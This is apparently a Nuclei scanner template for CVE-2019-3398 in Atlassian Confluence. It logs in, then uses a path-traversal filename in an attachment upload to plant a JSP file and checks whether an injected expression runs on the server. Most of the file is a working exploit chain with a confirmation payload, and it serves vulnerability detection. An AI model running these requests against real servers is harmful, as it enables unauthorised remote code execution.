86 lines
3.4 KiB
YAML
86 lines
3.4 KiB
YAML
id: CVE-2019-3398
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info:
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name: Atlassian Confluence Download Attachments - Remote Code Execution
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author: rootxharsh,iamnoooob,pdresearch
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severity: high
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description: |
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Confluence Server and Data Center had a path traversal vulnerability in the downloadallattachments resource. A remote attacker who has permission to add attachments to pages and / or blogs or to create a new space or a personal space or who has 'Admin' permissions for a space can exploit this path traversal vulnerability to write files to arbitrary locations which can lead to remote code execution on systems that run a vulnerable version of Confluence Server or Data Center.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
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remediation: |
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Apply the latest security patches provided by Atlassian to fix the vulnerability.
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reference:
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- https://blogs.juniper.net/en-us/threat-research/cve-2019-3398-atlassian-confluence-download-attachments-remote-code-execution
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- https://nvd.nist.gov/vuln/detail/CVE-2019-3398
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- http://packetstormsecurity.com/files/152616/Confluence-Server-Data-Center-Path-Traversal.html
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- http://packetstormsecurity.com/files/155245/Atlassian-Confluence-6.15.1-Directory-Traversal.html
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- https://jira.atlassian.com/browse/CONFSERVER-58102
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 8.8
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cve-id: CVE-2019-3398
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cwe-id: CWE-22
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epss-score: 0.9722
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epss-percentile: 0.99805
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cpe: cpe:2.3:a:atlassian:confluence:*:*:*:*:*:*:*:*
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metadata:
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max-request: 5
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vendor: atlassian
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product: confluence
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tags: cve,cve2019,packetstorm,atlassian,confluence,rce,authenticated,intrusive,kev
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variables:
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num1: "{{rand_int(800000, 999999)}}"
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num2: "{{rand_int(800000, 999999)}}"
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result: "{{to_number(num1)*to_number(num2)}}"
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http:
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- raw:
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- |
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POST /dologin.action HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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os_username={{username}}&os_password={{password}}&login=Log%2Bin&os_destination=
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- |
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GET /pages/createpage.action HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /plugins/drag-and-drop/upload.action?draftId={{draftID}}&filename=../../../../../../opt/atlassian/confluence/confluence/pages/{{randstr}}.jsp&size=8&mimeType=text%2Fplain&atl_token={{csrftoken}} HTTP/1.1
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Host: {{Hostname}}
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${{{num1}}*{{num2}}}
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- |
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GET /pages/downloadallattachments.action?pageId={{draftID}} HTTP/1.1
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Host: {{Hostname}}
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- |
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GET /pages/{{randstr}}.jsp HTTP/1.1
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Host: {{Hostname}}
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host-redirects: true
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max-redirects: 2
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matchers-condition: and
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matchers:
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- type: word
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part: body_5
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words:
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- "{{result}}"
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extractors:
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- type: regex
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name: csrftoken
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group: 1
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regex:
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- 'name="atlassian\-token" content="([a-z0-9]+)"> '
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internal: true
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part: body
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- type: regex
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name: draftID
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group: 1
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regex:
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- 'ta name="ajs\-draft\-id" content="([0-9]+)">'
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internal: true
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part: body
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# digest: 490a0046304402202ed5ebe35209e720ef0f2023c23acdd94f23854748616fecce0a05ea19d5c9bf022054acf9e892ff58287d73762f5aadbbe3ab14cb91898bcfafae9961e3e0128dd4:922c64590222798bb761d5b6d8e72950 |